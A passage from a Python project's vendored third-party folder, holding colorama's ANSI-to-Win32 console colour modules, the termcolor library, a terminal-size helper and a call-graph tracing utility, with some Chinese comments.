我们应该从输出中去掉ANSI序列吗? 66 | if strip is None: 67 | strip = on_windows 68 | self.strip = strip 69 | 70 | # should we should convert ANSI sequences into win32 calls? 71 | # 我们应该把ANSI序列转换成win32调用吗? 72 | if convert is None: 73 | convert = on_windows and is_a_tty(wrapped) 74 | self.convert = convert 75 | 76 | # dict of ansi codes to win32 functions and parameters 77 | # dict的ansi代码到win32的函数和参数。- 78 | self.win32_calls = self.get_win32_calls() 79 | 80 | # are we wrapping stderr? 81 | # 我们要包装stderr吗? 82 | self.on_stderr = self.wrapped is sys.stderr 83 | 84 | 85 | def should_wrap(self): 86 | ''' 87 | True if this class is actually needed. If false, then the output 88 | stream will not be affected, nor will win32 calls be issued, so 89 | wrapping stdout is not actually required. This will generally be 90 | False on non-Windows platforms, unless optional functionality like 91 | autoreset has been requested using kwargs to init() 92 | 如果确实需要该类,则为真。如果为false,那么输出流将不会受到影响,也不会发 93 | 出win32调用,因此不需要包装stdout。这在非windows平台上通常是错误的,除非 94 | 已经使用kwargs来init()请求了诸如autoreset这样的可选功能 95 | ''' 96 | return self.convert or self.strip or self.autoreset 97 | 98 | 99 | def get_win32_calls(self): 100 | if self.convert and winterm: 101 | return { 102 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 103 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 104 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 105 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 106 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 107 | AnsiFore.RED: (winterm.fore, WinColor.RED), 108 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 109 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 110 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 111 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 112 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 113 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 114 | AnsiFore.RESET: (winterm.fore, ), 115 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 116 | AnsiBack.RED: (winterm.back, WinColor.RED), 117 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 118 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 119 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 120 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 121 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 122 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 123 | AnsiBack.RESET: (winterm.back, ), 124 | } 125 | 126 | 127 | def write(self, text): 128 | if self.strip or self.convert: 129 | self.write_and_convert(text) 130 | else: 131 | self.wrapped.write(text) 132 | self.wrapped.flush() 133 | if self.autoreset: 134 | self.reset_all() 135 | 136 | 137 | def reset_all(self): 138 | if self.convert: 139 | self.call_win32('m', (0,)) 140 | elif is_a_tty(self.wrapped): 141 | self.wrapped.write(Style.RESET_ALL) 142 | 143 | 144 | def write_and_convert(self, text): 145 | ''' 146 | Write the given text to our wrapped stream, stripping any ANSI 147 | sequences from the text, and optionally converting them into win32 148 | calls. 149 | 将给定的文本写入我们包装的流中,从文本中去除任何ANSI序列,并有选择地将 150 | 它们转换为win32调用。 151 | ''' 152 | cursor = 0 153 | for match in self.ANSI_RE.finditer(text): 154 | start, end = match.span() 155 | self.write_plain_text(text, cursor, start) 156 | self.convert_ansi(*match.groups()) 157 | cursor = end 158 | self.write_plain_text(text, cursor, len(text)) 159 | 160 | 161 | def write_plain_text(self, text, start, end): #将给定的文本(text)写入(write)我们包装的流(wrapped)中 162 | if start < end: 163 | self.wrapped.write(text[start:end]) 164 | self.wrapped.flush() 165 | 166 | 167 | def convert_ansi(self, paramstring, command): 168 | if self.convert: 169 | params = self.extract_params(paramstring) 170 | self.call_win32(command, params) 171 | 172 | 173 | def extract_params(self, paramstring): # 从ANSI序列中提取参数值 174 | def split(paramstring): 175 | for p in paramstring.split(';'): 176 | if p != '': 177 | yield int(p) 178 | return tuple(split(paramstring)) 179 | 180 | 181 | def call_win32(self, command, params): # 根据ANSI序列参数值中,选择地将它们转换为win32调用 182 | if params == []: 183 | params = [0] 184 | if command == 'm': 185 | for param in params: 186 | if param in self.win32_calls: 187 | func_args = self.win32_calls[param] 188 | func = func_args[0] 189 | args = func_args[1:] 190 | kwargs = dict(on_stderr=self.on_stderr) 191 | func(*args, **kwargs) 192 | elif command in ('H', 'f'): # set cursor position 193 | func = winterm.set_cursor_position 194 | func(params, on_stderr=self.on_stderr) 195 | elif command in ('J'): 196 | func = winterm.erase_data 197 | func(params, on_stderr=self.on_stderr) 198 | elif command == 'A': 199 | if params == () or params == None: 200 | num_rows = 1 201 | else: 202 | num_rows = params[0] 203 | func = winterm.cursor_up 204 | func(num_rows, on_stderr=self.on_stderr) 205 | 206 | -------------------------------------------------------------------------------- /thirdparty/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import atexit 3 | import sys 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | 7 | orig_stdout = sys.stdout 8 | orig_stderr = sys.stderr 9 | 10 | wrapped_stdout = sys.stdout 11 | wrapped_stderr = sys.stderr 12 | 13 | atexit_done = False 14 | 15 | 16 | def reset_all(): 17 | AnsiToWin32(orig_stdout).reset_all() 18 | 19 | 20 | def init(autoreset=False, convert=None, strip=None, wrap=True): 21 | 22 | if not wrap and any([autoreset, convert, strip]): 23 | raise ValueError('wrap=False conflicts with any other arg=True') 24 | 25 | global wrapped_stdout, wrapped_stderr 26 | sys.stdout = wrapped_stdout = \ 27 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 28 | sys.stderr = wrapped_stderr = \ 29 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 30 | 31 | global atexit_done 32 | if not atexit_done: 33 | atexit.register(reset_all) 34 | atexit_done = True 35 | 36 | 37 | def deinit(): 38 | sys.stdout = orig_stdout 39 | sys.stderr = orig_stderr 40 | 41 | 42 | def reinit(): 43 | sys.stdout = wrapped_stdout 44 | sys.stderr = wrapped_stdout 45 | 46 | 47 | def wrap_stream(stream, convert, strip, autoreset, wrap): 48 | if wrap: 49 | wrapper = AnsiToWin32(stream, 50 | convert=convert, strip=strip, autoreset=autoreset) 51 | if wrapper.should_wrap(): 52 | stream = wrapper.stream 53 | return stream -------------------------------------------------------------------------------- /thirdparty/colorama/win32.py: -------------------------------------------------------------------------------- 1 | 2 | # from winbase.h 3 | STDOUT = -11 4 | STDERR = -12 5 | 6 | try: 7 | from ctypes import windll 8 | except ImportError: 9 | windll = None 10 | SetConsoleTextAttribute = lambda *_: None 11 | else: 12 | from ctypes import ( 13 | byref, Structure, c_char, c_short, c_uint32, c_ushort 14 | ) 15 | 16 | handles = { 17 | STDOUT: windll.kernel32.GetStdHandle(STDOUT), 18 | STDERR: windll.kernel32.GetStdHandle(STDERR), 19 | } 20 | 21 | SHORT = c_short 22 | WORD = c_ushort 23 | DWORD = c_uint32 24 | TCHAR = c_char 25 | 26 | class COORD(Structure): 27 | """struct in wincon.h""" 28 | _fields_ = [ 29 | ('X', SHORT), 30 | ('Y', SHORT), 31 | ] 32 | 33 | class SMALL_RECT(Structure): 34 | """struct in wincon.h.""" 35 | _fields_ = [ 36 | ("Left", SHORT), 37 | ("Top", SHORT), 38 | ("Right", SHORT), 39 | ("Bottom", SHORT), 40 | ] 41 | 42 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 43 | """struct in wincon.h.""" 44 | _fields_ = [ 45 | ("dwSize", COORD), 46 | ("dwCursorPosition", COORD), 47 | ("wAttributes", WORD), 48 | ("srWindow", SMALL_RECT), 49 | ("dwMaximumWindowSize", COORD), 50 | ] 51 | def __str__(self): 52 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 53 | self.dwSize.Y, self.dwSize.X 54 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 55 | , self.wAttributes 56 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 57 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 58 | ) 59 | 60 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 61 | handle = handles[stream_id] 62 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 63 | success = windll.kernel32.GetConsoleScreenBufferInfo( 64 | handle, byref(csbi)) 65 | return csbi 66 | 67 | 68 | def SetConsoleTextAttribute(stream_id, attrs): 69 | handle = handles[stream_id] 70 | return windll.kernel32.SetConsoleTextAttribute(handle, attrs) 71 | 72 | 73 | def SetConsoleCursorPosition(stream_id, position): 74 | position = COORD(*position) 75 | # If the position is out of range, do nothing. 76 | if position.Y <= 0 or position.X <= 0: 77 | return 78 | # Adjust for Windows' SetConsoleCursorPosition: 79 | # 1. being 0-based, while ANSI is 1-based. 80 | # 2. expecting (x,y), while ANSI uses (y,x). 81 | adjusted_position = COORD(position.Y - 1, position.X - 1) 82 | # Adjust for viewport's scroll position 83 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 84 | adjusted_position.Y += sr.Top 85 | adjusted_position.X += sr.Left 86 | # Resume normal processing 87 | handle = handles[stream_id] 88 | return windll.kernel32.SetConsoleCursorPosition(handle, adjusted_position) 89 | 90 | def FillConsoleOutputCharacter(stream_id, char, length, start): 91 | handle = handles[stream_id] 92 | char = TCHAR(char) 93 | length = DWORD(length) 94 | num_written = DWORD(0) 95 | # Note that this is hard-coded for ANSI (vs wide) bytes. 96 | success = windll.kernel32.FillConsoleOutputCharacterA( 97 | handle, char, length, start, byref(num_written)) 98 | return num_written.value 99 | 100 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 101 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 102 | handle = handles[stream_id] 103 | attribute = WORD(attr) 104 | length = DWORD(length) 105 | num_written = DWORD(0) 106 | # Note that this is hard-coded for ANSI (vs wide) bytes. 107 | return windll.kernel32.FillConsoleOutputAttribute( 108 | handle, attribute, length, start, byref(num_written)) 109 | 110 | -------------------------------------------------------------------------------- /thirdparty/colorama/winterm.py: -------------------------------------------------------------------------------- 1 | 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | 31 | def get_attrs(self): 32 | return self._fore + self._back * 16 + self._style 33 | 34 | def set_attrs(self, value): 35 | self._fore = value & 7 36 | self._back = (value >> 4) & 7 37 | self._style = value & WinStyle.BRIGHT 38 | 39 | def reset_all(self, on_stderr=None): 40 | self.set_attrs(self._default) 41 | self.set_console(attrs=self._default) 42 | 43 | def fore(self, fore=None, on_stderr=False): 44 | if fore is None: 45 | fore = self._default_fore 46 | self._fore = fore 47 | self.set_console(on_stderr=on_stderr) 48 | 49 | def back(self, back=None, on_stderr=False): 50 | if back is None: 51 | back = self._default_back 52 | self._back = back 53 | self.set_console(on_stderr=on_stderr) 54 | 55 | def style(self, style=None, on_stderr=False): 56 | if style is None: 57 | style = self._default_style 58 | self._style = style 59 | self.set_console(on_stderr=on_stderr) 60 | 61 | def set_console(self, attrs=None, on_stderr=False): 62 | if attrs is None: 63 | attrs = self.get_attrs() 64 | handle = win32.STDOUT 65 | if on_stderr: 66 | handle = win32.STDERR 67 | win32.SetConsoleTextAttribute(handle, attrs) 68 | 69 | def get_position(self, handle): 70 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 71 | # Because Windows coordinates are 0-based, 72 | # and win32.SetConsoleCursorPosition expects 1-based. 73 | position.X += 1 74 | position.Y += 1 75 | return position 76 | 77 | def set_cursor_position(self, position=None, on_stderr=False): 78 | if position is None: 79 | #I'm not currently tracking the position, so there is no default. 80 | #position = self.get_position() 81 | return 82 | handle = win32.STDOUT 83 | if on_stderr: 84 | handle = win32.STDERR 85 | win32.SetConsoleCursorPosition(handle, position) 86 | 87 | def cursor_up(self, num_rows=0, on_stderr=False): 88 | if num_rows == 0: 89 | return 90 | handle = win32.STDOUT 91 | if on_stderr: 92 | handle = win32.STDERR 93 | position = self.get_position(handle) 94 | adjusted_position = (position.Y - num_rows, position.X) 95 | self.set_cursor_position(adjusted_position, on_stderr) 96 | 97 | def erase_data(self, mode=0, on_stderr=False): 98 | # 0 (or None) should clear from the cursor to the end of the screen. 99 | # 1 should clear from the cursor to the beginning of the screen. 100 | # 2 should clear the entire screen. (And maybe move cursor to (1,1)?) 101 | # 102 | # At the moment, I only support mode 2. From looking at the API, it 103 | # should be possible to calculate a different number of bytes to clear, 104 | # and to do so relative to the cursor position. 105 | if mode[0] not in (2,): 106 | return 107 | handle = win32.STDOUT 108 | if on_stderr: 109 | handle = win32.STDERR 110 | # here's where we'll home the cursor 111 | coord_screen = win32.COORD(0,0) 112 | csbi = win32.GetConsoleScreenBufferInfo(handle) 113 | # get the number of character cells in the current buffer 114 | dw_con_size = csbi.dwSize.X * csbi.dwSize.Y 115 | # fill the entire screen with blanks 116 | win32.FillConsoleOutputCharacter(handle, ord(' '), dw_con_size, coord_screen) 117 | # now set the buffer's attributes accordingly 118 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), dw_con_size, coord_screen ); 119 | # put the cursor at (0, 0) 120 | win32.SetConsoleCursorPosition(handle, (coord_screen.X, coord_screen.Y)) 121 | -------------------------------------------------------------------------------- /thirdparty/termcolor.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright (c) 2008-2011 Volvox Development Team 3 | # 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | # 11 | # The above copyright notice and this permission notice shall be included in 12 | # all copies or substantial portions of the Software. 13 | # 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | # THE SOFTWARE. 21 | # 22 | # Author: Konstantin Lepa 23 | 24 | """ANSII Color formatting for output in terminal.""" 25 | 26 | from __future__ import print_function 27 | import os 28 | 29 | 30 | __ALL__ = [ 'colored', 'cprint' ] 31 | 32 | VERSION = (1, 1, 0) 33 | 34 | ATTRIBUTES = dict( 35 | list(zip([ 36 | 'bold', 37 | 'dark', 38 | '', 39 | 'underline', 40 | 'blink', 41 | '', 42 | 'reverse', 43 | 'concealed' 44 | ], 45 | list(range(1, 9)) 46 | )) 47 | ) 48 | del ATTRIBUTES[''] 49 | 50 | 51 | HIGHLIGHTS = dict( 52 | list(zip([ 53 | 'on_grey', 54 | 'on_red', 55 | 'on_green', 56 | 'on_yellow', 57 | 'on_blue', 58 | 'on_magenta', 59 | 'on_cyan', 60 | 'on_white' 61 | ], 62 | list(range(40, 48)) 63 | )) 64 | ) 65 | 66 | 67 | COLORS = dict( 68 | list(zip([ 69 | 'grey', 70 | 'red', 71 | 'green', 72 | 'yellow', 73 | 'blue', 74 | 'magenta', 75 | 'cyan', 76 | 'white', 77 | ], 78 | list(range(30, 38)) 79 | )) 80 | ) 81 | 82 | 83 | RESET = '\033[0m' 84 | 85 | 86 | def colored(text, color=None, on_color=None, attrs=None): 87 | """Colorize text. 88 | 89 | Available text colors: 90 | red, green, yellow, blue, magenta, cyan, white. 91 | 92 | Available text highlights: 93 | on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white. 94 | 95 | Available attributes: 96 | bold, dark, underline, blink, reverse, concealed. 97 | 粗体 bold 98 |   深色 dark 99 |   斜体 italic 100 |   下划线 underline 101 |   闪烁 blink 102 |   翻转 reverse 103 |   隐藏 concealed 104 |   删除线 crossed 105 | 106 | Example: 107 | colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink']) 108 | colored('Hello, World!', 'green') 109 | """ 110 | if os.getenv('ANSI_COLORS_DISABLED') is None: 111 | fmt_str = '\033[%dm%s' 112 | if color is not None: 113 | text = fmt_str % (COLORS[color], text) 114 | 115 | if on_color is not None: 116 | text = fmt_str % (HIGHLIGHTS[on_color], text) 117 | 118 | if attrs is not None: 119 | for attr in attrs: 120 | text = fmt_str % (ATTRIBUTES[attr], text) 121 | 122 | text += RESET 123 | return text 124 | 125 | 126 | def cprint(text, color=None, on_color=None, attrs=None, **kwargs): 127 | """Print colorize text. 128 | 129 | It accepts arguments of print function. 130 | """ 131 | 132 | print((colored(text, color, on_color, attrs)), **kwargs) 133 | 134 | 135 | def debug(): 136 | print('Current terminal type: %s' % os.getenv('TERM')) 137 | print('Test basic colors:') 138 | cprint('Grey color', 'grey') 139 | cprint('Red color', 'red') 140 | cprint('Green color', 'green') 141 | cprint('Yellow color', 'yellow') 142 | cprint('Blue color', 'blue') 143 | cprint('Magenta color', 'magenta') 144 | cprint('Cyan color', 'cyan') 145 | cprint('White color', 'white') 146 | print(('-' * 78)) 147 | 148 | print('Test highlights:') 149 | cprint('On grey color', on_color='on_grey') 150 | cprint('On red color', on_color='on_red') 151 | cprint('On green color', on_color='on_green') 152 | cprint('On yellow color', on_color='on_yellow') 153 | cprint('On blue color', on_color='on_blue') 154 | cprint('On magenta color', on_color='on_magenta') 155 | cprint('On cyan color', on_color='on_cyan') 156 | cprint('On white color', color='grey', on_color='on_white') 157 | print('-' * 78) 158 | 159 | print('Test attributes:') 160 | cprint('Bold grey color', 'grey', attrs=['bold']) 161 | cprint('Dark red color', 'red', attrs=['dark']) 162 | cprint('Underline green color', 'green', attrs=['underline']) 163 | cprint('Blink yellow color', 'yellow', attrs=['blink']) 164 | cprint('Reversed blue color', 'blue', attrs=['reverse']) 165 | cprint('Concealed Magenta color', 'magenta', attrs=['concealed']) 166 | cprint('Bold underline reverse cyan color', 'cyan', 167 | attrs=['bold', 'underline', 'reverse']) 168 | cprint('Dark blink concealed white color', 'white', 169 | attrs=['dark', 'blink', 'concealed']) 170 | print(('-' * 78)) 171 | 172 | print('Test mixing:') 173 | cprint('Underline red on grey color', 'red', 'on_grey', 174 | ['underline']) 175 | cprint('Reversed green on red color', 'green', 'on_red', ['reverse']) 176 | 177 | 178 | 179 | if __name__ == '__main__': 180 | debug() -------------------------------------------------------------------------------- /thirdparty/terminal.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | """ 3 | get_terminal_size() -- return width and height of terminal as a tuple 4 | 5 | code from: 6 | http://stackoverflow.com/questions/566746/how-to-get-console- window-width-in- 7 | python 8 | 9 | written by 10 | Harco Kuppens (http://stackoverflow.com/users/825214/harco-kuppens) 11 | 12 | It is mentioned in the stackoverflow response that this code works 13 | on linux, os x, windows and cygwin (windows). 14 | 15 | PS: 16 | 从pandos库中找到的,删除了原来的一些不需要的代码。 17 | 18 | """ 19 | from __future__ import print_function 20 | 21 | import os 22 | import sys 23 | import shutil 24 | import subprocess 25 | 26 | PY3= True if sys.version[0]=='3' else False 27 | 28 | __all__ = ['get_terminal_size'] 29 | 30 | 31 | # 检测终端大小并返回元组(宽度,高度) 32 | def get_terminal_size(): 33 | """ 34 | Detect terminal size and return tuple = (width, height). 35 | 36 | Only to be used when running in a terminal. Note that the IPython notebook, 37 | IPython zmq frontends, or IDLE do not run in a terminal, 38 | """ 39 | import platform 40 | 41 | if PY3: 42 | return shutil.get_terminal_size() 43 | 44 | current_os = platform.system() 45 | tuple_xy = None 46 | if current_os == 'Windows': 47 | tuple_xy = _get_terminal_size_windows() 48 | if tuple_xy is None: 49 | tuple_xy = _get_terminal_size_tput() 50 | # needed for window's python in cygwin's xterm! 51 | if (current_os == 'Linux' or current_os == 'Darwin' or 52 | current_os.startswith('CYGWIN')): 53 | tuple_xy = _get_terminal_size_linux() 54 | if tuple_xy is None: 55 | tuple_xy = (80, 25) # default value 56 | return tuple_xy 57 | 58 | 59 | def _get_terminal_size_windows(): 60 | 61 | try: 62 | from ctypes import windll, create_string_buffer 63 | 64 | # stdin handle is -10 65 | # stdout handle is -11 66 | # stderr handle is -12 67 | 68 | h = windll.kernel32.GetStdHandle(-12) 69 | csbi = create_string_buffer(22) 70 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) 71 | except (AttributeError, ValueError): 72 | return None 73 | if res: 74 | import struct 75 | (bufx, bufy, curx, cury, wattr, left, top, right, bottom, maxx, 76 | maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) 77 | sizex = right - left + 1 78 | sizey = bottom - top + 1 79 | return sizex, sizey 80 | else: 81 | return None 82 | 83 | 84 | def _get_terminal_size_tput(): 85 | # get terminal width 86 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width 87 | # -height-of-a-terminal-window 88 | 89 | try: 90 | proc = subprocess.Popen(["tput", "cols"], 91 | stdin=subprocess.PIPE, 92 | stdout=subprocess.PIPE) 93 | output_cols = proc.communicate(input=None) 94 | proc = subprocess.Popen(["tput", "lines"], 95 | stdin=subprocess.PIPE, 96 | stdout=subprocess.PIPE) 97 | output_rows = proc.communicate(input=None) 98 | except OSError: 99 | return None 100 | 101 | try: 102 | # Some terminals (e.g. spyder) may report a terminal size of '', 103 | # making the `int` fail. 104 | 105 | cols = int(output_cols[0]) 106 | rows = int(output_rows[0]) 107 | return cols, rows 108 | except (ValueError, IndexError): 109 | return None 110 | 111 | 112 | def _get_terminal_size_linux(): 113 | def ioctl_GWINSZ(fd): 114 | try: 115 | import fcntl 116 | import termios 117 | import struct 118 | cr = struct.unpack( 119 | 'hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234')) 120 | except (struct.error, IOError): 121 | return None 122 | return cr 123 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) 124 | if not cr: 125 | try: 126 | fd = os.open(os.ctermid(), os.O_RDONLY) 127 | cr = ioctl_GWINSZ(fd) 128 | os.close(fd) 129 | except OSError: 130 | pass 131 | if not cr or cr == (0, 0): 132 | try: 133 | from os import environ as env 134 | cr = (env['LINES'], env['COLUMNS']) 135 | except (ValueError, KeyError): 136 | return None 137 | return int(cr[1]), int(cr[0]) 138 | 139 | 140 | if __name__ == "__main__": 141 | sizex, sizey = get_terminal_size() 142 | print('width = {w} height = {h}'.format(w=sizex, h=sizey)) 143 | -------------------------------------------------------------------------------- /thirdparty/utils.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | # 跟踪函数调用,生成函数调用流程图 4 | # 代码来源:https://www.zhihu.com/question/26766601/answer/33952627 5 | def traceFunc(frame=None, slient=False): 6 | import sys 7 | import tempfile 8 | import webbrowser 9 | try: 10 | import pygraphviz as pgv 11 | except Exception as e: 12 | return 0 13 | 14 | if not frame: 15 | frame = sys._getframe().f_back 16 | 17 | G = pgv.AGraph(strict=False, directed=True) 18 | 19 | stack = [] 20 | 21 | node_set = set() 22 | subgraph_set = {} 23 | 24 | while frame: 25 | filename = frame.f_code.co_filename.replace("\\","/").decode("gbk") 26 | # print(type(filename)) 27 | # print(filename) 28 | firstlineno = frame.f_code.co_firstlineno 29 | function = frame.f_code.co_name.replace("\\","/").decode("gbk") 30 | 31 | node = u'{0}:{1}:{2}'.format(filename, firstlineno, function) 32 | if node not in node_set: 33 | node_set.add(node) 34 | if filename not in subgraph_set: 35 | subgraph_set[filename] = G.add_subgraph( 36 | name='cluster' + filename, 37 | label=filename 38 | ) 39 | subgraph = subgraph_set[filename] 40 | subgraph.add_node( 41 | node, 42 | label=u'{0}:{1}'.format(firstlineno, function) 43 | ) 44 | 45 | stack.append(frame) 46 | frame = frame.f_back 47 | 48 | stack.reverse() 49 | 50 | len_stack = len(stack) 51 | 52 | for index, start in enumerate(stack): 53 | 54 | if index + 1 < len_stack: 55 | start_filename = start.f_code.co_filename.replace("\\","/").decode("gbk") 56 | start_firstlineno = start.f_code.co_firstlineno 57 | start_function = start.f_code.co_name 58 | start_lineno = start.f_lineno 59 | start_subgraph = subgraph_set[start_filename] 60 | 61 | end = stack[index + 1] 62 | end_filename = end.f_code.co_filename.replace("\\","/").decode("gbk") 63 | end_firstlineno = end.f_code.co_firstlineno 64 | end_function = end.f_code.co_name 65 | end_subgraph = subgraph_set[end_filename] 66 | 67 | if index == 0: 68 | color = 'green' 69 | elif index == len_stack - 2: 70 | color = 'red' 71 | else: 72 | color = 'black' 73 | 74 | G.add_edge( 75 | u'{0}:{1}:{2}'.format(start_filename, 76 | start_firstlineno, 77 | start_function), 78 | u'{0}:{1}:{2}'.format(end_filename, 79 | end_firstlineno, 80 | end_function), 81 | color=color, 82 | ltail=start_subgraph.name, 83 | lhead=end_subgraph.name, 84 | label=u'#{0} at {1}'.format(index + 1, start_lineno) 85 | ) 86 | 87 | fd, name = tempfile.mkstemp('.png') 88 | 89 | G.draw(name, prog='dot') 90 | G.close() 91 | 92 | if not slient: 93 | webbrowser.open('file://' + name) 94 | 95 | return name --------------------------------------------------------------------------------